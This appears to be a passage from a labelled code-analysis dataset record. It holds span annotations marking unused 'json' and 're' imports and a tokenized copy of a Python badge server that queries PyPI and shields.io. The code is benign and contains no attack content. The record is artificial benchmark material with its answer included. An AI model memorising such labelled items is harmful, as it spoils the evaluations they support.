statuses[code])", "metadata": "root.StatusHandler.handle_package_data", "header": "['class', 'StatusHandler', '(', 'PypiHandler', ')', ':', '___EOS___']", "index": 286 }, { "content": "@app.route('/<string:generator>/<string:package>/badge.<string:extension>')\ndef shield(request, generator, package, extension):\n gc.collect()\n ext = mimetypes.types_map[\".{0}\".format(extension)]\n request.headers.update({'content-type': ext})\n klass = generators[generator]()\n img = klass.get(request, package, extension)\n return img", "metadata": "root.shield", "header": "['module', '___EOS___']", "index": 310 } ]
[ { "span": "import json", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 11 }, { "span": "import re", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 9 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "String", "IO_", "import_", "String", "IO_", "as_", "Byte", "s", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "io_", "import_", "Byte", "s", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "import_", "gc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hashlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "mimetypes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "urllib_", "import_", "quote_", "as_", "url", "lib", "\\u", "quote_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "#", " ", "python", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "urllib_", "._", "parse_", "import_", "quote_", "as_", "url", "lib", "\\u", "quote_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "from_", "kle", "in_", "import_", "Kl", "ein", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "redis_", "import_", "Redis_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "requests_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "yar", "g_", "._", "package_", "import_", "json", "2p", "ack", "age_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PY", "PI", "\\u", "URL_", "=_", "\"", "https", "://", "pypi", ".", "python", ".", "org", "/", "pypi", "/", "%", "s", "/", "json", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SHI", "EL", "D", "\\u", "URL_", "=_", "\"", "http", "://", "img", ".", "shield", "s", ".", "io", "/", "badge", "/", "%", "s", "-%", "s", "-%", "s", ".", "%", "s", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "SHI", "EL", "D", "\\u", "URL", " ", "=", " ", "\"", "http", "://", "local", "host", ":", "9000", "/", "badge", "/", "%", "s", "-%", "s", "-%", "s", ".", "%", "s", "\"", " ", " ", "#", " ", "pypi", "p", ".", "in", " ", "use", "s", " ", "a", " ", "local", " ", "version", " ", "of", " ", "img", ".", "shield", "s", ".", "io_", "\\u\\u\\uNL\\u\\u\\u_", "FILE", "\\u", "CACHE_", "=_", "\"/", "tmp", "/", "shield", "s", ".", "py", "/\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "CACHE", "\\u", "TIME_", "=_", "(_", "60_", "*_", "60_", ")_", "*_", "24_", "#", " ", "24", " ", "hours_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "REDIS", "\\u", "EXPIRE", "_", "=_", "60_", "*_", "10_", "#", " ", "10", " ", "minutes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "app_", "=_", "Kl", "ein", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "redis_", "=_", "Redis_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "int", "word", "\\u", "converters_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "3_", ",_", "lambda_", "number_", ":_", "format\\u", "number_", "(_", "'%", "(", "value", ").", "1f", "k", "'_", ",_", "number_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "6_", ",_", "lambda_", "number_", ":_", "format\\u", "number_", "(_", "'%", "(", "value", ").", "1f", "M", "'_", ",_", "number_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "9_", ",_", "lambda_", "number_", ":_", "format\\u", "number_", "(_", "'%", "(", "value", ").", "1f", "B", "'_", ",_", "number_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "generators_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "d", "'_", ":_", "Down", "load", "Handler_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "download", "'_", ":_", "Down", "load", "Handler_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "v", "'_", ":_", "Version", "Handler_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "version", "'_", ":_", "Version", "Handler_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "wheel", "'_", ":_", "Whe", "el", "Handler_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "egg", "'_", ":_", "Egg", "Handler_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "license", "'_", ":_", "License", "Handler_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "format", "'_", ":_", "Format", "Handler_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "py", "\\u", "version", "s", "'_", ":_", "Pyth", "on", "Version", "s", "Handler_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "implementation", "'_", ":_", "Implementation", "Handler_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "Status", "Handler_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "FILE", "\\u", "CACHE_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "mkdir_", "(_", "FILE", "\\u", "CACHE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'.", "svg", "'_", "not_", "in_", "mimetypes_", "._", "types", "\\u", "map_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mimetypes_", "._", "add", "\\u", "type_", "(_", "\"", "image", "/", "svg", "+", "xml", "\"_", ",_", "\".", "svg", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "app_", "._", "run_", "(_", "\"", "local", "host", "\"_", ",_", "8888", "_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "format\\u", "number_", "(_", "singular", "_", ",_", "number_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "singular", "_", "%_", "{_", "'", "value", "'_", ":_", "number_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "rid", " ", "of", " ", "the", " ", ".0", " ", "but", " ", "keep", " ", "the", " ", "other", " ", "decimals_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "value_", "._", "replace_", "(_", "'.", "0", "'_", ",_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "escape", "\\u", "shield", "\\u", "query_", "(_", "text_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Esc", "ape", " ", "text", " ", "to", " ", "be", " ", "inserted", " ", "in", " ", "a", " ", "shield", " ", "API", " ", "request", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "url", "lib", "\\u", "quote_", "(_", "text_", ",_", "safe_", "=_", "'", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "text_", "._", "replace_", "(_", "'\\u'_", ",_", "'\\u\\u'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "text_", "._", "replace_", "(_", "'", " ", "'_", ",_", "'\\u'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "text_", "._", "replace_", "(_", "'-'_", ",_", "'--'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Py", "pi", "Handler_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Get", " ", "the", " ", "pypi", " ", "json", " ", "data", " ", "for", " ", "the", " ", "package", ",", " ", "and", " ", "process", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shield", "\\u", "subject_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "format_", "=_", "'", "svg", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache", "able_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Py", "pi", "Handler_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get_", "(_", "self_", ",_", "request_", ",_", "package_", ",_", "format_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "request_", "=_", "request_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "format_", "=_", "format_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "PY", "PI", "\\u", "URL_", "%_", "package_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r", "\\u", "data_", "=_", "redis_", "._", "get_", "(_", "package_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "r", "\\u", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "package_", "=_", "json", "2p", "ack", "age_", "(_", "r", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "handle", "\\u", "package", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "requests_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "raise", "\\u", "for", "\\u", "status_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "requests_", "._", "exceptions_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "shield", "\\u", "subject_", "=_", "'", "error", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "write", "\\u", "shield", "_", "(_", "'", "error", "'_", ",_", "'", "red", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "redis_", "._", "set_", "(_", "package_", ",_", "response_", "._", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "redis_", "._", "expire_", "(_", "package_", ",_", "REDIS", "\\u", "EXPIRE", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "package_", "=_", "json", "2p", "ack", "age_", "(_", "response_", "._", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "handle", "\\u", "package", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Py", "pi", "Handler_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "handle", "\\u", "package", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Look", " ", "at", " ", "the", " ", "pypi", " ", "data", " ", "and", " ", "decide", " ", "what", " ", "text", " ", "go", "es", " ", "on", " ", "the", " ", "badge", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Py", "pi", "Handler_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "hash_", "(_", "self_", ",_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "hashlib_", "._", "md5_", "(_", "url_", ")_", "._", "hexdigest_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Py", "pi", "Handler_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "\\u", "shield", "_", "(_", "self_", ",_", "status_", ",_", "colour_", "=_", "'", "bright", "green", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Obtain", " ", "and", " ", "write", " ", "the", " ", "shield", " ", "to", " ", "the", " ", "response", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shield", "\\u", "url_", "=_", "SHI", "EL", "D", "\\u", "URL_", "%_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "shield", "\\u", "subject_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "status_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "colour_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "format_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "style_", "=_", "self_", "._", "request_", "._", "args_", "._", "get_", "(_", "'", "style", "'_", ",_", "'", "flat", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "style_", "is_", "not_", "None_", "and_", "style_", "[_", "0_", "]_", "in_", "[_", "'", "flat", "'_", ",_", "'", "flat", "-", "square", "'_", ",_", "'", "plas", "tic", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "style_", "=_", "style_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shield", "\\u", "url_", "+=_", "\"?", "style", "={", "0", "}\"_", "._", "format_", "(_", "style_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shield", "\\u", "url_", "=_", "shield", "\\u", "url_", "._", "replace_", "(_", "\"", " ", "\"_", ",_", "\"\\u\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ih", "ash_", "=_", "self_", "._", "hash_", "(_", "shield", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cache_", "=_", "os_", "._", "path_", "._", "join_", "(_", "FILE", "\\u", "CACHE_", ",_", "ih", "ash_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "cache_", ")_", "and_", "self_", "._", "cache", "able_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mtime_", "=_", "os_", "._", "stat_", "(_", "cache_", ")_", "._", "st", "\\u", "mtime_", "+_", "CACHE", "\\u", "TIME_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "mtime_", ">_", "time_", "._", "time_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "open_", "(_", "cache_", ")_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "shield", "\\u", "response_", "=_", "requests_", "._", "get_", "(_", "shield", "\\u", "url_", ",_", "stream_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "img_", "=_", "Byte", "s", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "chunk_", "in_", "shield", "\\u", "response_", "._", "iter", "\\u", "content_", "(_", "1024_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "chunk_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "img_", "._", "write_", "(_", "chunk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "cache", "able_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "open_", "(_", "cache_", ",_", "'", "w", "'_", ")_", "as_", "ifile_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "img_", "._", "seek_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ifile_", "._", "write_", "(_", "img_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "img_", "._", "seek_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "img_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Down", "load", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shield", "\\u", "subject_", "=_", "'", "download", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pret", "ty", " ", "muc", "h", " ", "take", "n", " ", "straight", " ", "from", " ", "Dj", "ang", "o_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Down", "load", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "int", "word_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "int_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "Type", "Error_", ",_", "Value", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "value_", "<_", "1000_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "str_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "exponent_", ",_", "converters_", "in_", "int", "word", "\\u", "converters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "large", "\\u", "number_", "=_", "10_", "**_", "exponent_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "value_", "<_", "large", "\\u", "number_", "*_", "1000_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "value_", "=_", "value_", "/_", "float_", "(_", "large", "\\u", "number_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "converters_", "(_", "new", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Down", "load", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "handle", "\\u", "package", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "period_", "=_", "self_", "._", "request_", "._", "args_", "._", "get_", "(_", "'", "period", "'_", ",_", "'", "month", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "period_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "period_", "=_", "period_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "period_", "not_", "in_", "(_", "'", "day", "'_", ",_", "'", "week", "'_", ",_", "'", "month", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "period_", "=_", "'", "month", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "downloads_", "=_", "getattr_", "(_", "self_", "._", "package_", "._", "downloads_", ",_", "period_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "downloads_", "=_", "self_", "._", "int", "word_", "(_", "downloads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pper", "io", "d_", "=_", "\"%", "s", "/", "%", "s", "\"_", "%_", "(_", "downloads_", ",_", "period_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "write", "\\u", "shield", "_", "(_", "pper", "io", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Version", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "shield", "\\u", "subject_", "=_", "'", "pypi", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Version", "Handler_", "(_", "Py", "pi", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "handle", "\\u", "package", "\\u", "data_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text_", "=_", "self_", "._", "request_", "._", "args_", "._", "get_", "(_", "'", "text", "'_", ",_", "'", "pypi", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "text_", "[_", "0_", "]_", "in_", "(_", "'", "pypi", "'_", ",_", "'", "version", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u 